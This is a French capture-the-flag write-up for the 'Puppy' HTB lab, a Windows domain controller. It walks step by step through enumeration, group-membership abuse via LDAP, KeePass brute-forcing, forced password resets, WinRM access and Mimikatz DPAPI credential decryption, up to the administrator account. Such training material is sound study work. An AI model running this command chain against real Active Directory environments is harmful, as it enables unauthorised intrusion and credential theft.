< BACK TO TERMINAL
Puppy icon

Puppy

Introduction

Un utilisateur associé à son mot de passe est donné par défaut pour cette machine :

Utilisateur Mot de passe
levi.james KingofAkron2025!

Enumération

Nmap

Scan TCP

nmap -p- -sV 10.129.127.172
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-29 15:28:26Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  nlockmgr      1-4 (RPC #100021)
3260/tcp  open  iscsi?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         Microsoft Windows RPC
51946/tcp open  msrpc         Microsoft Windows RPC
53853/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Scan UDP

nmap -p- -sU 10.129.127.172
PORT     STATE SERVICE
53/udp   open  domain
88/udp   open  kerberos-sec
111/udp  open  rpcbind
123/udp  open  ntp
389/udp  open  ldap
2049/udp open  nfs

Ajout d'un serveur de résolution de noms

nano /etc/resolv.conf
nameserver 10.129.127.172
nameserver 1.1.1.1
nameserver 8.8.8.8

SMB

smbmap -u levi.james -p 'KingofAkron2025!' -d PUPPY -H 10.129.127.172
[+] IP: 10.129.127.172:445	Name: 10.129.127.172
  Disk                                                Permissions	Comment
	----                                                -----------	-------
	ADMIN$                                            	NO ACCESS	  Remote Admin
	C$                                                	NO ACCESS	  Default share
	DEV                                               	NO ACCESS	  DEV-SHARE for PUPPY-DEVS
	IPC$                                              	READ ONLY	  Remote IPC
	NETLOGON                                          	READ ONLY  	Logon server share
	SYSVOL                                            	READ ONLY  	Logon server share

Synchroniser l'horloge

Pour utiliser Kerberos, l'horloge de la machine attaquante doit être synchronisée avec celle du serveur AD. Sans cela, l'erreur KRB_AP_ERR_SKEW(Clock skew too great) peut apparaître.

apt install rdate && rdate -n dc.puppy.htb

Bloodhound

bloodhound-python -dc dc.puppy.htb -u ant.edwards -p 'Antman2025!' -d puppy.htb -c ALL
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
INFO: Done in 00M 02S

Foothold

Accès au partage DEV

Après l'ingestion des données dans Bloodhound, nous pouvons voir que l'utilisateur levi.james (groupe HR) peut modifier le groupe DEVELOPERS, qui a probablement accès au partage SMB DEV.

Accès au partage DEV — diagram

Avec ces droits sur le groupe DEVELOPERS, nous pouvons essayer d'y ajouter notre utilisateur pour tenter d'accéder au partage DEV.

vim ./add.ldif
dn: CN=DEVELOPERS,DC=PUPPY,DC=HTB
changetype: modify
add: member
member: CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB
ldapmodify -x -D "CN=Levi B. James,OU=MANPOWER,DC=PUPPY,DC=HTB" -H ldap://dc.puppy.htb -f ./add.ldif -w KingofAkron2025!
modifying entry "CN=DEVELOPERS,DC=PUPPY,DC=HTB"

Se connecter au partage DEV. --use-kerberos=off permet d'utiliser l'authentification NTLM : cela permet de préciser le nom du contrôleur de domaine sans passer par l'IP.

smbclient -U PUPPY.HTB/levi.james --password="KingofAkron2025!" \\\\dc.puppy.htb\\DEV --use-kerberos=off
smb: \> ls
  .                                  DR        0  Sun Mar 23 02:07:57 2025
  ..                                  D        0  Sat Mar  8 10:52:57 2025
  KeePassXC-2.7.9-Win64.msi           A 34394112  Sun Mar 23 02:09:12 2025
  Projects                            D        0  Sat Mar  8 10:53:36 2025
  recovery.kdbx                       A     2677  Tue Mar 11 21:25:46 2025

		5080575 blocks of size 4096. 1647586 blocks available

Télécharger la base KeePass sur la machine attaquante.

get recovery.kdbx

Bruteforce de la base Keepass

La base KeePass est au format kdbx4. Convertir le mot de passe dans un format John the Ripper n'est pas possible pour le moment avec keepass2john (prise en charge uniquement des formats 1.x et 2.x). Il faut donc utiliser le script Bash keepass4brute.sh.

apt install keepassxc
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
[*] Password found: liverpool

Un bruteforce avec keepass4brute.sh révèle le mot de passe liverpool. Avec keepassxc-cli, on extrait 5 entrées dont voici le résumé.

Utilisateur Mot de passe
JAMIE WILLIAMSON JamieLove2025!
ADAM SILVER HJKL2025!
ANTONY C. EDWARDS Antman2025!
STEVE TUCKER Steve2025!
SAMUEL BLAKE ILY2025!

Cependant le mot de passe de l'utilisateur ADAM SILVER (adam.silver) semble invalide et l'utilisateur est désactivé.

Changement du mot de passe de adam.silver

Nous pouvons voir que l'utilisateur adam.silver est autorisé à établir une session distante via WinRM. De plus, l'utilisateur ant.edwards fait partie du groupe SENIOR DEVS. Les membres de ce groupe sont autorisés à modifier sans limites l'objet adam.silver.

Changement du mot de passe de adam.silver — diagram

Avec ces permissions, il est facile de changer le mot de passe de l'utilisateur adam.silver, puis d'utiliser ce compte pour démarrer une session distante.

net rpc password "adam.silver" "Toor2025!" -U "PUPPY.HTB"/"ant.edwards"%"Antman2025!" -S "10.129.127.172"

Activation de adam.silver

vim ./enable.ldif
dn: CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 66048
ldapmodify -x -D "CN=ANTHONY J. EDWARDS,DC=PUPPY,DC=HTB" -w Antman2025! -H ldap://dc.puppy.htb -f ./enable.ldif
modifying entry "CN=ADAM D. SILVER,CN=USERS,DC=PUPPY,DC=HTB"

Connexion distante

Une fois le compte activé et le mot de passe changé, il est possible d'établir une connexion WinRM.

evil-winrm -u adam.silver -p Toor2025! -i dc.puppy.htb

Récupérer le flag

gc ../Desktop/user.txt

Élévation de privilèges

Lors de l'énumération, nous trouvons une archive zip située à l'emplacement C:\Backups\site-backup-2024-12-30.zip.

Expand-Archive C:\Backups\site-backup-2024-12-30.zip

Le fichier nms-auth-config.xml.bak contient les identifiants du compte steph.cooper.

gc site-backup-2024-12-30\puppy\nms-auth-config.xml.bak
<server>
  <host>DC.PUPPY.HTB</host>
  <port>389</port>
  <base-dn>dc=PUPPY,dc=HTB</base-dn>
  <bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
  <bind-password>ChefSteph2025!</bind-password>
</server>

Connexion avec steph.cooper

Il faut désormais se connecter avec le compte steph.cooper. Comme un utilisateur administrateur nommé steph.cooper_adm a été découvert lors de la phase d'énumération, il existe peut-être un moyen de récupérer les identifiants de cet utilisateur depuis le compte steph.cooper.

evil-winrm -u steph.cooper -p ChefSteph2025! -i dc.puppy.htb

Récupération des identifiants de steph.cooper_adm

Lors de la vérification des dossiers suivants :

gci C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\ -hidden
C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
gci C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials -hidden
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9

Plusieurs fichiers d'identifiants ont été trouvés, ces fichiers peuvent potentiellement contenir des identifiants sauvegardés par l'utilisateur, y compris ceux de comptes privilégiés. Pour interagir avec ces fichiers, il est possible d'utiliser Mimikatz. Des versions compilées sont disponibles ici.

Pour voir les informations sur les fichiers (comme la masterkey associée ou les propriétés) :

./mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" "exit"
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {556a2412-1275-4ccf-b721-e6a0b4f90407}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data


  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 711bed180e9affbd35ae0e91ff77b395
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : 0ad0ff7a33f05732d938c7562521cd70
  dwDataLen          : 000000d0 - 208
  pbData             : 315eb3036256373fb93c03158b0669b2281ac05551a17e77d5ae4ccb42ed8004d7aed11eb66c4149d0275f70138d963f098369ad7155d75ae60f4a2543b1efec3ae75049fdd91a66210b3db503c73a24218b8d6b92efc7d09f22d6e5154b2f3669dbeea011c494d44b3115d1c2a7d713d5f1c81e5d1c5db22f1ad7d475e21cc4fabf9cde4f63c4d1dd3f22eebc358797c4ce5097ec817322ed1abf218f9eb20336006eb48907597fb18ebcd6297184886acc91b82246f7ddc05c5bfd7ac44fd3a9f281b12e423a32bf1098565b8d2e35
  dwSignLen          : 00000014 - 20
  pbSign             : 3ab1905cf0eef6d04985f52dfb4989a7f6c1a49c

L'identifiant de la masterkey (guidMasterKey) est 556a2412-1275-4ccf-b721-e6a0b4f90407. Elle se trouve donc à l'emplacement :

C:\Users\<utilisateur>\AppData\Roaming\Microsoft\Protect\<SID Utilisateur>\<GUID masterkey>

Pour trouver le SID de l'utilisateur:

whoami /user

La clé se situe donc ici :

C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407

Pour déchiffrer la masterkey, il est possible d'effectuer l'opération via Mimikatz avec un mot de passe et le SID de l'utilisateur, ou bien de demander au contrôleur de domaine d'effectuer l'opération pour nous.

Effectuer l'opération en local:

./mimikatz.exe "dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /sid:S-1-5-21-1487982659-1829050783-2281216199-1107 /password:ChefSteph2025! /protected" "exit"

OU

Effectuer l'opération par le contrôleur de domaine:

./mimikatz.exe "dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /rpc" "exit"

Nous avons maintenant la clé qui permet de déchiffrer les identifiants enregistrés.

key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

Déchiffrer le fichier d'identifiants :

./mimikatz.exe "dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84" "exit"
Decrypting Credential:
 * masterkey     : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000c8 - 200
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 3/8/2025 3:54:29 PM
  unkFlagsOrSize : 00000030 - 48
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:target=PUPPY.HTB
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : steph.cooper_adm
  CredentialBlob : FivethChipOnItsWay2025!
  Attributes     : 0

Connexion en tant qu'administrateur

En possession des identifiants de steph.cooper_adm, il est maintenant possible de se connecter à la machine en tant qu'administrateur.

evil-winrm -u steph.cooper_adm -p FivethChipOnItsWay2025! -i dc.puppy.htb

Récupérer le flag

gc C:\Users\Administrator\Desktop\root.txt
Next writeup →